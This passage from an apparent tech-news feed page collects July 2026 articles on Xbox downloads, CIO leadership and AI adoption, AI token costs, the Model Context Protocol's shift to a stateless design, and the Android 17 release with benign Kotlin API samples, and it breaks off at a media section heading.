Team IT Security - 📰 Alle Kategorien

Microsoft will endlich Download-Probleme der Xbox beheben

Sun, 26 Jul 2026 12:01:07 +0200

Schwankende Raten, überlastete Server und eingefrorene Updates plagen oft Xbox-Nutzer. Microsoft greift nun mit einem smarten Download-Client ein. Das System wechselt die Route dynamisch und beschleunigt so die Installation neuer Titel. (Weiter lesen)

AI success requires a full-stack CIO

Sat, 25 Jul 2026 18:57:42 +0200

Every CIO I speak with today is wrestling with some version of the same question: How do we move faster with AI and deliver on our commitments?

It’s an understandable concern. Boards and CEOs are asking about AI. Business leaders are experimenting with use cases. Employees are discovering tools daily, while technology vendors promise unprecedented gains in productivity, innovation, and competitive advantage.

After hundreds of conversations with technology executives over the past year, I’ve become convinced that speed isn’t the real issue. The organizations pulling away from the pack aren’t necessarily adopting AI faster than everyone else. They’re executing more effectively — a subtle distinction that represents one of the defining leadership challenges of the AI era.

Technology has never been the hardest part of transformation. People, priorities, culture, and operating models are the biggest challenges. The ability to translate bold boardroom aspirations into thousands of thoughtful decisions made every day by architects, engineers, product managers, analysts, and business leaders is where competitive advantage is created. AI may be accelerating the pace of change, but it hasn’t changed that fundamental truth.

I’ve met plenty of executives who are exceptional in the boardroom. They know how to frame a vision, influence a board, and build confidence among investors and business leaders. I’ve also met remarkable technologists who instinctively understand the architectural decisions, engineering tradeoffs, and implementation details that determine how great ideas become reality. Modern CIOs, however, must move comfortably between both worlds. Afshean Talasaz is one who stands out among this rare breed.

Long before becoming CIO of Colonial Pipeline, Talasaz built his career from the ground up as a business professional, data scientist, and technologist. He has designed enterprise platforms, built AI capabilities, led technology organizations, and partnered closely with executive leadership teams on business transformation. Today, as an executive in residence with our Practitioners for Practitioners (P4P) community, he helps CIOs and business leaders navigate one of the most significant technology shifts of our generation.

While Talasaz brings deep knowledge of data and AI to the table, his greatest strength is his ability to create strategy and connect it with execution. He can spend the morning discussing enterprise reinvention with the board and the afternoon debating architectural principles with the teams responsible for bringing that vision to life.

That versatility gives Talasaz a unique lens on how CIOs can deliver value with AI.

Software companies have a term for engineers who understand every layer of the technology stack: full-stack developers. Listen to Talasaz and it becomes evident that the AI era requires something similar from technology leaders: a full-stack CIO.

The full-stack CIO: Leading with clarity

A full-stack CIO understands how every layer of the enterprise influences the next. They recognize that every strategic priority becomes a portfolio investment, every investment shapes an operating model, every operating model influences architecture, every architecture choice informs product decisions, every product decision shapes engineering priorities.

The best CIOs understand both ends of that journey. The extraordinary ones understand everything in between.

And those who execute best lead with clarity, Talasaz says.

“Everyone, from executives to middle managers to the people writing code, should be able to explain what we’re trying to achieve,” he emphasizes. “Clarity isn’t that we’ve handed out the PowerPoint. It’s that people genuinely understand where we’re going and can articulate it in their own language.”

One of the unintended consequences of the AI boom is that organizations are beginning to confuse activity with alignment. They have AI councils, AI governance committees, AI innovation labs, AI centers of excellence, AI pilots, and AI roadmaps. Yet if you stop ten people in the hallway and ask a deceptively simple question, What business problem are we actually trying to solve? you’ll often hear ten different answers.

As a result, architects optimize for one objective while product teams optimize for another. Business units pursue opportunities that seem perfectly reasonable from their perspective. Engineers make thoughtful technical decisions based on the information available to them. Individually, none of those decisions are necessarily wrong. Collectively, however, they create organizational drift. AI doesn’t create that problem. It simply accelerates the consequences.

And while AI can be a force multiplier for the positive when every decision is guided by a shared understanding of where the organization is headed, it can also be a force multiplier for the negative, resulting in an organization simply moving faster in different directions.

“When we have the fundamentals right, the tech infrastructure, the operating models, the nuances of how our business actually runs, we get the impacts of AI in a positive way,” Talasaz says. “When we don’t have those in place, AI can amplify the gaps or mute the benefits.”

At a time when so much of the conversation surrounding AI is focused on algorithms, agents, and automation, it’s an important reminder that organizations don’t execute strategy; people do.

Reducing organizational friction

Most executives are familiar with the concept of VUCA that characterizes today’s business environment. But Talasaz stresses the importance of turning this concern inward: “If the world outside our organizations is becoming more volatile, uncertain, complex, and ambiguous, what are we, as leaders, doing to the inside of our organizations?”

Leaders spend enormous amounts of time helping their organizations respond to external disruption but comparatively little time asking whether they are inadvertently re-creating those same conditions internally in response to those external needs. Are we reducing uncertainty or introducing more of it? Are we simplifying work or adding unnecessary complexity? Are we helping people focus on what matters most, or asking them to navigate competing priorities and shifting expectations?

Talasaz refers to this phenomenon as double VUCA — something I’ve witnessed repeatedly while working with CIOs over the past decade. Organizations often assume they’re struggling because of technology limitations when the real constraint is organizational friction. Teams wait for decisions. Priorities shift faster than roadmaps. Governance grows heavier. New committees are formed to solve problems created by existing committees. Everyone is working harder, yet the organization somehow feels slower.

AI amplifies both outcomes. Organizations with clarity become dramatically more effective because AI accelerates good decisions. Organizations without clarity simply accelerate confusion.

Operating model as strategy enabler

AI governance is one way to achieve greater clarity, but as Talasaz says, governance shouldn’t primarily exist inside policy manuals that few people read.

Instead, AI governance should be embedded in the daily rhythms of the organization, shaping how teams collaborate, how decisions are made, how products move from ideas into production, and how innovation happens safely without requiring constant escalation. In other words, it’s all about your operating model.

“If you had to pick one thing that isn’t technology, your operating model is the most important element for executing data and AI at scale,” he says.

The best operating models create enough clarity that capable people can make thousands of decisions independently and confidently, without having to wait for permission. By embedding good governance into the way it works, the organization becomes faster.

This advice echoes something I’ve heard repeatedly from some of the world’s most respected CIOs: High-performing organizations aren’t built on tighter control; they’re built on greater trust, supported by clear principles, shared expectations, and operating models that enable responsible decision-making at every level of the enterprise.

Talasaz points out that technology leaders tend to speak in terms of transformation. He suggests CIOs consider a different word: reinvention.

As he explains, transformation implies replacing what exists today with something new. Reinvention starts with a more clear-eyed and practical premise: Some things absolutely must change; others represent years, sometimes decades, of accumulated expertise, customer trust, operational discipline, and competitive advantage.

Reinvention is about building on those strengths while also creating new ways to deliver value. The leaders making the greatest progress in their AI journeys seem to recognize that it’s less about abandoning the past than thoughtfully preparing the organization for the future.

Closing the gap between strategy and execution

Full-stack CIOs must be able to map out the various layers of execution and planning that need to be done at every level of the organization to be successful. To help with this, Talasaz has developed a data and AI framework that draws on his own experiences “from the keyboard to the boardroom.”

As Talasaz sees it, too many organizations have been doing good work in isolation. “They’re doing a lot of the right things,” he says. “They’re just not connected.”

Boards may be discussing growth while business leaders redesign customer experiences. Product teams may be prioritizing new capabilities while architects modernize platforms. Data teams may be improving quality while engineers focus on delivery. Every group makes meaningful progress within its own domain, yet somewhere between strategy and execution, the connective tissue begins to disappear. Talasaz’s framework brings those connecting points to the forefront.

Crucially, the framework doesn’t begin with technology or AI or even with data. It begins with the experiences the organization hopes to create for its customers, employees, or partners. Many AI initiatives start with the question, “What can this technology do?” And indeed, we need to be inspired by the possibilities and challenged to think differently by what the technology can do. But, Talasaz emphasizes, we also need to ask what experiences we need to deliver for our business and how the technology can make that a reality.

The framework challenges CIOs to answer that question first. Only after the experiences are clearly defined does the conversation move to the capabilities required to deliver it, the business activities that support those capabilities, the AI and data products that enable them, and finally the data foundation that makes everything possible.

This shift in perspective ensures that, rather than allowing technology investments to search for business value, the business experience defines the technology required to deliver it. For CIOs, that’s more than a planning exercise. It’s a fundamentally different way of leading.

Over the coming months, the P4P community will be convening a series of small CxO roundtables to explore these issues and work more deeply with Afshean Talasaz’s 6×6 Data and AI Framework. CIOs and other enterprise leaders interested in participating are welcome to reach out to me directly.

Why I changed how I pitch AI: It’s no longer about saving money, but managing tokens and adoption

Sat, 25 Jul 2026 18:55:49 +0200

I have worked alongside enterprise technology for more than 30 years and watched AI evolve from a lab experiment into the modern boardroom’s core focus. However, the last few years of implementing AI alongside our customers have delivered our most profound reality checks.

The initial hype has faded, leaving CIOs to drive real enterprise value. Based on my experience implementing Google, OpenAI and Anthropic technologies, here are the fundamental, technology-agnostic lessons every leader must anchor their strategy around.

AI as a leadership multiplier

The most common tactical error we see is treating AI as an isolated technology project. What I have observed among our customers is that true success does not come from organizations that define a standalone “AI strategy,” but rather from those leaders that integrate AI into their business strategy.

When our customers isolate AI and define an AI strategy, it inevitably treats it like a “technological toy” to experiment with. This approach yields fragmented, orphaned initiatives that fail to scale because they are fundamentally disconnected from their core corporate objectives. What I learned is that AI is not the ultimate destination; it is a powerful catalyst. We have replaced “What can AI do for our customers?” with a more strategic question, “How does AI accelerate their existing business goals?”

Think of AI like electricity. No modern corporation designs a standalone “electricity strategy.” Instead, all companies route it invisibly across the entire organization to illuminate offices, power production lines and drive communication. AI must be woven into the enterprise fabric in the exact same way, acting as an underlying utility that supercharges your existing operational model.

Integrating AI into the broader business strategy also dictates how we measure success. It forces a shift away from short-term tech vanity metrics and anchors the technology into a long-term roadmap.

When AI remains trapped within the IT department of our customers, we notice that it is relegated to a mere “software experiment.” To become a true competitive advantage, we observed that AI requires intense cross-functional orchestration. This perspective does not diminish the merit of the technical team; their expertise is fundamental for establishing the architecture, data governance and tools your enterprise requires. However, while IT builds the foundational infrastructure, it lacks the organizational authority to decide what should be built on top of it. Only the CEO or the owner of the company can step in to ensure AI leaves the “toy project” phase and integrates into the DNA of the organization.

The requirement for top-down, executive ownership stems from three critical realities observed in the field:

Silo-smashing and data collaboration: True enterprise AI is data-hungry and that data lives across disparate business lines, finance, operations, marketing and customer service. Only the CEO possesses the cross-functional authority to demand that data silos be dismantled.
Cultural transformation and fear mitigation: AI triggers widespread anxiety over job displacement across all industries and hierarchies. When relegated to an “IT project,” resistance spikes as teams view it as a threat to their livelihoods. When I saw the CEO lead this cultural shift directly is when I noticed the best results.
C-Suite education and strategic alignment: The mandate for AI capability cannot just be delegated downward; the transformation must begin at the very top. I have conducted more than 70 presentations for the Board of Directors and C-Level teams. These people need to be actively educated not on technical code, but on specific business use cases, return on investment (ROI) frameworks and how AI resolves core organizational bottlenecks.

PwC’s data found that only 12% of enterprises have achieved both cost and revenue benefits from AI. Those elite 12% succeeded precisely because their CEOs embedded AI extensively across strategic decision-making and cross-functional workflows. AI is simply too disruptive and too critical to be left exclusively in the hands of technical experts. If AI is not on the CEO’s weekly agenda, it is fundamentally missing from the company’s true strategy.

AI as a new operational framework

Traditional IT systems have operated on strict algorithmic certainty: if you input a specific set of data, the system executes an immutable line of code and guarantees the same, predictable output every single time.

AI completely breaks this paradigm. Because modern AI is built on probabilistic models, it does not execute static formulas; instead, it predicts the most likely correct response based on mathematical probabilities. This means that AI solutions carry an inherent, small percentage of uncertainty and variability. A prompt entered today might yield a slightly different, though contextually valid, output tomorrow.

Executive leadership and organizational cultures must be actively educated to accept and navigate this fundamental shift. Traditional quality assurance frameworks for software are designed for a 100% success rate. Applying this rigid standard to AI will paralyze your initiatives, keeping 80% of your projects trapped eternally in the pilot phase. This happened to us in a food and beverage company in Latin America a couple of years ago. After this experience, we started to include conditions in our contracts that tolerate statistical margins of error and still define the project as a success.

In terms of cost calculation, we had to teach CIOs and business managers to forget the monthly subscription model for AI and learn to manage the primary unit of exchange in modern AI: the token.

To understand AI costs, executives must understand how large language models process data. AI models do not read full words; instead, they break text, images or code down into “pieces” called tokens. As a baseline, every 100 words process as approximately 130 to 140 tokens. Because the major AI providers use the token as their currency, your business is billed dynamically based on the exact volume of tokens consumed by every query submitted (input) and every response generated (output).

Many leaders believe AI costs are fixed due to flat-rate enterprise tiers ($25–$30/user). This is a temporary illusion. These venture-capital-subsidized rates mask true operational costs and come with dynamic usage limits. Modeling long-term ROI on them guarantees a severe budget shock when true consumption pricing takes over.

The solution is not to halt AI adoption; doing so means losing your competitive edge. Instead, the cost per token must cease to be treated as a technical footnote relegated to the IT department. It must be elevated to a core business variable.

Risks in the AI adoption model

Since the beginning of the AI boom, I have seen all our customers making a critical tactical error that could cost them heavily in the medium term: they are focusing only on operational efficiency (reducing costs with AI).

I have observed that an alarmingly high percentage of companies remain trapped in pilot phases focused exclusively on short-term cost reduction. Bain & Company’s global Automation and AI Pathfinder Survey found that the largest share of companies measuring their AI initiatives (exactly 40%) realized cost reductions of 10% or less, heavily missing their internal targets. Our customers are putting too many resources and effort into marginal financial gains and in doing so, they are jeopardizing their most valuable assets: service quality, resilience and customer trust.

Utilizing AI solely to slash headcount or cut operational corners is a dangerous trap that introduces severe field liabilities. A financial service organization in Latin America announced that they saved $1 million in customer support by replacing humans with AI chatbots. However, the mid-term reality revealed a different story: a damaged brand reputation due to AI errors and an influx of frustrated clients fleeing because the automated system cannot handle special cases.

Putting a company on an extreme AI diet might make it look leaner on next quarter’s financial statement, but over-indexing on cost-cutting will ultimately leave the business too weak to compete when market dynamics shift. We are now inviting our customers to change the question from “How much money will AI save us?” to “How will we leverage AI to exponentially increase the long-term value of our enterprise?”

Deploying enterprise AI is a marathon, not a sprint, and the terrain changes with every mile. The organizations that thrive in this next era will be those that transition from fascination to discipline, treating AI not as a magic bullet for immediate savings, but as a core capability that demands rigorous governance, architectural foresight and cultural maturity. Navigating this shift requires moving past the theoretical hype and anchoring decisions in raw, field-tested reality.

As we continue to deploy these technologies across industries, the blueprint for success is being rewritten in real time. Let’s keep this conversation going as we map out the future of business intelligence together.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

Model Context Protocol is going stateless to make scaling simpler

Sat, 25 Jul 2026 18:55:48 +0200

Model Context Protocol (MCP), the emerging standard for connecting AI models to external tools and enterprise data, is undergoing its biggest architectural overhaul yet.

The latest release candidate, scheduled for release on July 28, removes protocol-level sessions in favor of a stateless architecture, a change which industry experts say is intended to make MCP easier to deploy across standard cloud infrastructure as enterprises move AI pilots into production.

“The session-based model made sense when MCP servers were local processes on a developer’s laptop. In production, it became an operational tax,” said Muskan Bandta, cloud associate at ZopDev.

“When your infrastructure team asks whether MCP services can scale like other cloud applications, the answer used to be ‘not quite.’ With the move to a stateless architecture, the answer is now yes,” Bandta added.

Earlier versions of the protocol maintained information about every client connection, meaning servers had to keep track of each session throughout an interaction. While that approach worked well for local development, it complicated deployments across multiple servers because requests often had to be routed back to the same machine, limiting scalability and making MCP a less natural fit for modern cloud architectures.

“Under the new stateless design, every request contains the information needed for any available server to process it independently. Applications that need to maintain context across multiple requests can still do so, but developers must now manage that state explicitly rather than relying on the protocol itself,” she said.

This transition to a stateless design goes beyond simplifying infrastructure by fundamentally changing how AI applications manage and share context across tools, according to Amit Jena, AI development manager at IT consulting firm Kanerika.

Instead of keeping application state hidden inside protocol sessions, the new design makes it explicit, allowing AI models to access, reason over, and pass that information between tools, giving developers greater control over how context is preserved and shared across tools, Jena said.

It should also make AI workflows more portable, resilient, and easier to orchestrate across distributed environments, he said.

MCP’s new features

Other changes to MCP include the addition of a Multi Round-Trip Requests (MRTR) mechanism that changes how AI agents request additional information they need to complete a task.

Instead of relying on a persistent connection between the client and server throughout the interaction, the new mechanism lets the server request additional input through a standard request-response exchange before continuing the task, Jena said.

Routable transport headers, another addition, enable API gateways and other networking infrastructure to identify and route MCP requests without inspecting their contents.

They reduce processing overhead, lower latency, and let enterprise teams enforce routing, rate-limiting and security policies more efficiently using existing API management infrastructure, Jena said.

MCP is also getting an updated authorization framework built around OAuth 2.1 and OpenID Connect; interactive MCP Apps; and deterministic caching of tool and resource listings to improve LLM prompt-cache hit rates, potentially saving on token costs.

Rebuilding the trust boundary

The MCP release steering committee also decided to deprecate some legacy features, including Roots, Sampling, Logging, the older HTTP+SSE transport and Dynamic Client Registration, although these will continue to work in this version and any other released over the next year.

The deprecation of Sampling is likely to have the biggest impact because it changes who is responsible for interacting with foundation models, said Jena.

“Sampling let MCP servers invoke the LLM through the client, which meant the server had a callback path into the model without owning that connection. Deprecating it means rebuilding that trust boundary,” Jena said. “Your server now calls the model provider directly. That changes your network architecture, your auth model, and depending on how you’ve built cost attribution, your billing flow.”

The year-long transition period will be enough for teams to audit their sampling dependencies now, said Jena: “The risk is that teams who haven’t implemented sampling themselves won’t know if a third-party MCP server they’re depending on uses it.”

Updated MCP SDKs

To accompany the protocol update, there are updated MCP SDKs for Python, Typescript, Go, and C#. These support both the old and new protocol versions, so new clients can continue communicating with older servers, while updated servers will also support older clients, reducing the risk of immediate disruptions.

That backward compatibility should make the transition largely incremental, except for enterprises that built custom infrastructure around MCP’s earlier session-based architecture, Bandta said.

Identifying and auditing those session dependencies may not be easy, Jena warned.

“Session management complexity tends to be hidden across multiple layers — the gateway config, the deployment scripts, the monitoring dashboards. The code change is small; finding everywhere the assumption lives is what takes time,” he said.

This article first appeared on InfoWorld.

Android 17 is here

Sat, 25 Jul 2026 10:15:36 +0200

Posted by Matthew McCullough, VP of Product Management, Android Developer

Today we're releasing Android 17 and making it available on most supported Pixel devices. Look for new devices running Android 17 in the coming months.

Android 17 marks the start of our transition to an intelligence system, putting your apps at the center. It's shifting to an adaptive-first development standard by introducing mandatory large-screen resizability, all while delivering next-generation privacy, security, media, camera, and performance. We'll cover all that in this post, as well as how we're bringing together next generation tools, libraries, and agent skills to help your apps embrace the opportunity.

Throughout the past year, from our Canary channel to our Beta releases, we’ve collaborated with you in the developer community to build a platform you and your users can trust. To that end, this moment marks the availability of the source code at the Android Open Source Project (AOSP). This allows you to examine the source code for a deeper understanding of how Android works.

Let's dive deeper into Android 17.

An intelligence system

With deep integration between hardware, software and AI, we’re transforming Android from an operating system to an intelligence system. It's about delivering new helpful experiences that anticipate user needs, and it brings more opportunities for engagement with your apps. To that end, Android 17 expands the capabilities of AppFunctions, a platform API with a corresponding Jetpack library. It allows you to contribute your app's unique capabilities as orchestratable "tools" for Android MCP, the on-device equivalent of the Model Context Protocol. AI agents and assistants (like Google Gemini) can discover and execute AppFunctions to perform workflows on behalf of the user with direct access to the app's local state.

The Jetpack library, currently in alpha, makes adding AppFunctions as easy as annotating a class and adding KDoc comments.

/**
 * A note app's [AppFunction]s.
 */
class NoteFunctions(
    private val noteRepository: NoteRepository
) {
    /**
     * Adds a new note to the app.
     *
     * @param appFunctionContext The execution context.
     * @param title The title of the note.
     * @param content The note's content.
     */
    @AppFunction(isDescribedByKDoc = true)
    suspend fun createNote(
        appFunctionContext: AppFunctionContext,
        title: String,
        content: String
    ): Note {
        return noteRepository.createNote(title, content)
    }
}

We’ve also launched an AppFunctions agent skill that analyzes your app’s key workflows, automatically generates the required Kotlin code, optimizes your KDocs for LLM tool-calling, and provides ADB commands for testing and debugging.

The Gemini integration is currently in a private preview with trusted testers, but you can begin preparing your apps now. In addition to ADB commands to execute your AppFunctions, we've provided a test agent app that includes an interface to discover and execute your app functions and simulate an AI agent integration. Join our integration early access program at goo.gle/eap-af for a chance to be among the first apps to deploy AppFunctions to production.

Adaptive-first

Your users no longer rely on a single form factor; they transition between phones, foldables, tablets, laptops, automotive displays, and immersive XR environments. Now, with over 580 million large screen devices in the hands of users and the forthcoming launch of Googlebooks, the next generation of ChromeOS built on the Android stack, adaptive is no longer just a technical goal. It’s a massive opportunity to reach highly engaged users, which is one of the reasons we're shifting to an adaptive-first development standard.

No resizability/orientation restrictions on large screens

To ensure apps deliver a premium experience across all form factors, including mobile devices running in desktop mode on connected displays, Android 17 (API level 37) removes the developer opt-out for orientation and resizability restrictions on large screen devices (sw > 600 dp) for apps targeting API level 37. The system will ignore legacy manifest attributes and runtime APIs, including screenOrientation, setRequestedOrientation(), resizeableActivity=false, and aspect ratio constraints (minAspectRatio/maxAspectRatio). Games (based on app category in Google Play) remain exempt. Your app must be ready to adapt to any window size, respect the user's preferred device posture, and support free-form windowing natively.

Next-gen multitasking: App Bubbles, Bubble Bar, and desktop interactive PiP

Android 17 introduces powerful new windowing capabilities that redefine how users multitask, demanding even greater layout flexibility from your apps:

App Bubbles: Moving beyond the messaging bubbles API, users can now transform any app into a floating bubble by long-pressing its icon on the launcher. This feature is available across phones, foldables, and tablets, enabling lightweight multitasking for any workflow.
The Bubble Bar: On large screens (tablets and foldables), the system taskbar now includes a dedicated Bubble Bar to organize, transition between, and dock these floating app bubbles.
Desktop interactive PiP: In desktop environments, Android 17 introduces interactive Picture-in-Picture (PiP). Unlike traditional PiP windows which are read-only, these pinned windows remain fully interactive while staying always-on-top of other application windows.

App Bubbles and Bubble Bar in action

Activity recreation updates

To prevent disruptive state loss and stutter, Android 17 updates the default behavior for Activity recreation. The system will no longer restart activities by default for typical configuration changes that do not require a full UI redraw (including CONFIG_KEYBOARD, CONFIG_KEYBOARD_HIDDEN, CONFIG_NAVIGATION, CONFIG_TOUCHSCREEN, and CONFIG_COLOR_MODE).
Instead, running activities will receive these updates via onConfigurationChanged(), enabling smooth transitions. If your application explicitly relies on a full restart to reload resources for these changes, you must now explicitly opt-in using the new android:recreateOnConfigChanges manifest attribute.

Continue On

Android 17 adds Continue On to help users seamlessly transition a task between Android devices. The user sees a suggestion for the most recently opened app from their mobile device in their tablet taskbar, providing a one-tap affordance to launch the app and deep-link where they left off. Continue on can support app-to-web transitions, including falling back to using the web if the app isn't installed.

Handoff Suggestion on a Tablet

class MyHandoffActivity : Activity() {

    ...

  override fun onCreate(savedInstanceState: Bundle?) {
    super.onCreate(savedInstanceState)
    // Do stuff
    ...
    // Enable handoff
    setHandoffEnabled(true, null)
  }

  // Override and implement onHandoffActivityDataRequested
  override fun onHandoffActivityDataRequested(handoffRequestInfo: HandoffActivityDataRequestInfo) : HandoffActivityData {
    // Create and return handoff data
  }
}

Go adaptive-first with Jetpack Compose

To help you adapt your apps to meet the new Android 17 requirements, we've launched the Jetpack Compose adaptive skill. This AI-powered developer workflow helps you implement the best adaptive practices:

Adaptive navigation: Automatically transition between bottom navigation bars on mobile and edge-anchored navigation rails on large screens using NavigationSuiteScaffold from the Material 3 Adaptive library.
Multi-pane layouts: Implement list-detail and supporting pane layouts natively using Navigation 3 Scenes (ListDetailSceneStrategy and SupportingPaneSceneStrategy) instead of fragile fragment transactions.
FlexBox & Grid APIs: Utilize Compose 1.11's dynamic layout components to easily adjust row and column spans on the fly, ensuring your content always fills the space beautifully.
Advanced non-touch input: Leverage Compose 1.11's enhanced trackpad and mouse support, including native focus rings and new APIs (like TrackpadInjectionScope and performTrackpadInput) to easily test and deliver a true "laptop-class" experience on Googlebooks and Desktop Mode.
Dynamic window states: Leverage Compose's reactive state model to seamlessly adapt your UI when the app transitions from full screen to a floating App Bubble or an interactive Desktop PiP window, ensuring a premium experience even at minimal dimensions.

Android is Compose-first

Compose offers the easiest way to build adaptive apps, and that's just one of the many reasons we believe that all Android UI should be built with Compose. To that end, Android development is now Compose-first. All new Android APIs, libraries, tools, and developer guidance will be built exclusively for Jetpack Compose. Legacy View components (in the android.widget package) and View-based Jetpack libraries (like Fragments, RecyclerView, and ViewPager) are now in maintenance mode. They will receive only critical bug fixes, and no new features.

TIP
Ready to migrate? Use our AI-driven XML to Compose Migration Skill to automatically analyze your legacy View layouts and convert them into highly-adaptive Compose code.

Performance & efficiency

App performance means a smooth user interface, fast app start times, and efficient multitasking; Android 17 has impactful improvements in all of these areas.

App memory limits

Memory usage is one of the silent foundations of overall performance. When a foreground app or service grows unchecked, memory management spikes CPU and battery utilization and eventually leads to the termination of other well-behaved cached apps and background jobs, ultimately forcing slower cold starts and impaired multitasking.

Starting in Android 17, the system will enforce strict app memory limits based on a device's total RAM, abruptly terminating offending processes. New things to help you navigate these tighter requirements:

R8 Optimizer: The R8 optimizer significantly reduces your app's bytecode memory footprint by shrinking classes, methods, and fields into shorter names, and stripping out unused code and resources. Use R8 in full mode along with the new R8 configuration analyzer to make sure your app is getting the most from R8.

The R8 Configuration Analyzer

LeakCanary in Android Studio Panda: The profiler now features native LeakCanary integration as a dedicated task, fully integrated with your IDE and source code.
ApplicationExitInfo: If your app is terminated by these limits, getDescription() from ApplicationExitInfo will return "MemoryLimiter:AnonSwap".
On-Device Anomaly Detection: Part of ProfilingManager, you can leverage trigger-based profiling using TRIGGER_TYPE_ANOMALY to automatically capture heap dumps when the memory limit is reached.

val profilingManager = applicationContext
   .getSystemService(ProfilingManager::class.java)

val triggers = ArrayList().apply {
  add(ProfilingTrigger.Builder(
    ProfilingTrigger.TRIGGER_TYPE_ANOMALY).build())
}
profilingManager.addProfilingTriggers(triggers)

And, we're working to surface more in-field memory metrics to you within Google Play Console.

Generational garbage collection

Android 17 introduces more frequent, less resource-intensive young-generation collections to ART's Concurrent Mark-Compact garbage collector (GC). By separating short-lived objects from stable, long-lived ones, the system runs frequent, lightweight "young-generation" sweeps rather than expensive full-heap scans, drastically reducing CPU usage, power drain, and UI stutter. Our testing has shown significant improvements in GC interference with application threads and a reduction in the maximum memory resident set size (RSS). ART improvements are also available to over a billion devices running Android 12 (API level 31) and higher through Google Play System updates.

Lock-Free MessageQueue

For apps targeting SDK 37 or higher, the core android.os.MessageQueue now implements a lock-free architecture, significantly reducing missed frames, improving app startup time, and radically improving the performance of busy queues in multithreaded scenarios. Note: This can break apps that use reflection on private MessageQueue fields and methods. The peekWhen and poll APIs have been added to TestLooperManager for instrumentation testing without relying on MessageQueue internals.

Static final fields now truly final

Starting from Android 17, apps targeting SDK 37 or higher won’t be able to modify “static final” fields, allowing the runtime to apply performance optimizations more aggressively. An attempt to do so via reflection (or deep reflection) will lead to an IllegalAccessException being thrown. Modifying them via JNI’s SetStaticField methods family will immediately crash the application.

Custom notification view restrictions

To reduce memory usage we are further restricting the size of custom notification views. This update closes a loophole that allows apps to bypass existing limits using URIs. This behavior is gated by the target SDK version and takes effect for apps targeting API 37 and higher.

Privacy & Security

Maintaining user trust is at the heart of the Android ecosystem. Android 17 introduces robust features that protect sensitive data while simplifying user experiences.

Privacy-preserving choices

Historically, apps required broad, permanent permissions to access information like contacts, precise location and media files. Android 17 continues the shift toward privacy-preserving choices that grant temporary, session-based access only to the data the user explicitly selects:

System-Level Contact Picker: Utilizing ACTION_PICK_CONTACTS, apps can request temporary access only to specific fields (e.g., email or phone number) chosen by the user, eliminating the need for the broad READ_CONTACTS permission. It also fully supports work/personal profile separation.
Customizable Photo Picker aspect ratio: UsingPhotoPickerUiCustomizationParams, you can customize the system photo picker to show thumbnails in portrait mode. This is perfect for apps that always display photos and videos in portrait such as video based social media apps.
System-rendered Location Button: A new system-rendered location button that you can embed in your app grants precise location access for the current session only.
EyeDropper API: A new system-level API, ACTION_OPEN_EYE_DROPPER, allows your app to create a system-powered eyedropper enabling the user to select color from any pixel on the display. This provides a secure, privacy-preserving color-picking experience that eliminates the need for broad, sensitive screen capture or media projection permissions.

val eyeDropperLauncher = registerForActivityResult(ActivityResultContracts.StartActivityForResult()) { result ->
   if (result.resultCode == Activity.RESULT_OK) {
       val color = result.data?.getIntExtra(Intent.EXTRA_COLOR, Color.BLACK)
       // Use the picked color in your app
   }
}
fun launchColorPicker() {
   val intent = Intent(Intent.ACTION_OPEN_EYE_DROPPER)
   eyeDropperLauncher.launch(intent)
}

Picking a color from anywhere on the screen with the system EyeDropper

Local network access

Apps targeting Android 17 now either require the ACCESS_LOCAL_NETWORK runtime permission or the use of system-mediated, privacy-preserving device pickers for local network communication, such as talking to smart home devices or casting receivers. Because ACCESS_LOCAL_NETWORK falls under the existing NEARBY_DEVICES permission group, users who have already granted other NEARBY_DEVICES permissions will not be prompted again.

SMS OTP protection

Android 17 expands SMS one-time-password (OTP) protection by delaying access to SMS messages for three hours:

WebOTP Format: Delayed for all apps that are not the intended recipient (domain mismatch).
Standard SMS OTP: Delayed for all apps targeting SDK 37+.
Exemptions: Default SMS, assistant, and connected companion apps are exempt. Apps are strongly encouraged to migrate to the SMS Retriever or SMS User Consent APIs.

Post-Quantum Cryptography (PQC)

Android 17 is ready for the next generation of cryptographic security:

Keystore Integration: Supported devices can generate ML-DSA (Module-Lattice-Based Digital Signature Algorithm) keys in secure hardware to produce quantum-safe signatures, exposed via standard JCA APIs.
Hybrid APK Signing: Introducing the v3.2 APK Signature Scheme, which combines classical signatures with ML-DSA signatures to secure app delivery.

Safer native dynamic code loading

If your app targets SDK 37 or higher, the Safer Dynamic Code Loading (DCL) protection introduced in Android 14 for DEX and JAR files now extends to native libraries. All native files loaded using System.load must be marked as read-only. Otherwise, the system throws UnsatisfiedLinkError

Smarter password protection for physical inputs

With Android 17, we're making it safer to enter passwords, PINs, and other secrets when using a physical keyboard by no longer showing the last typed character by default.

Users can still easily customize these display settings to match their preferences (availability may vary by device manufacturer).

These enhanced privacy protections are automatically supported byAndroid's built-in SDK components and will be supported in Compose 1.12 for SecureTextFields.

Smarter password protection for physical inputs

Media and camera features that empower creators and delight users

Android 17 introduces new creator features that give access to pro-quality cameras and media, all while improving the experience for consumers.

Eclipsa Video: HDR video standard built upon the SMPTE ST 2094-50 specification that introduces new metadata to help devices adapt content for their display headroom and ambient light conditions, as well as improve the simultaneous display of standard and HDR content.
RAW14 image format: New support for the RAW14 image format provides a way for your professional camera app to capture the highest level of detail and color depth from compatible camera sensors.
Vendor-defined camera extensions: Vendor-defined extensions enable hardware partners to define and implement custom camera extension modes, providing access to the best and latest camera features.
Extended HE-AAC software encoder: A new system-provided Extended HE-AAC software encoder, supports both low and high bitrates using unified speech and audio coding, providing significantly better audio quality for voice messages in low-bandwidth conditions, including support for loudness metadata.
Versatile Video Coding (H.266): Enables OEMs to add codec support by defining the video/vvc MIME type in MediaFormat, adding new VVC profiles in MediaCodecInfo, and integrating support into MediaExtractor.
Camera device type: New APIs that query the underlying device type to identify if a camera is built-in hardware, an external USB webcam, or a virtual camera.
Constant Quality for Video Recording: SetVideoEncodingQuality in MediaRecorder configures a constant quality (CQ) mode for video encoders to ensure uniform visual fidelity across the entire video.

Better support for hearing aids

Bluetooth LE Audio hearing aid support: Android now includes a specific device category for Bluetooth Low Energy (BLE) Audio hearing aids with the new AudioDeviceInfo.TYPE_BLE_HEARING_AID constant, so your app can distinguish hearing aids from regular headsets to provide a tailored experience for users with assistive listening devices.
Granular audio routing for hearing aids: Android 17 allows users to independently manage where specific system sounds are played. They can choose to route notifications, ringtones, and alarms to connected hearing aids or the device's built-in speaker, helping to avoid unwanted in-ear interruptions while maintaining a Bluetooth connection for hearing aid management apps.

CameraX and Media3

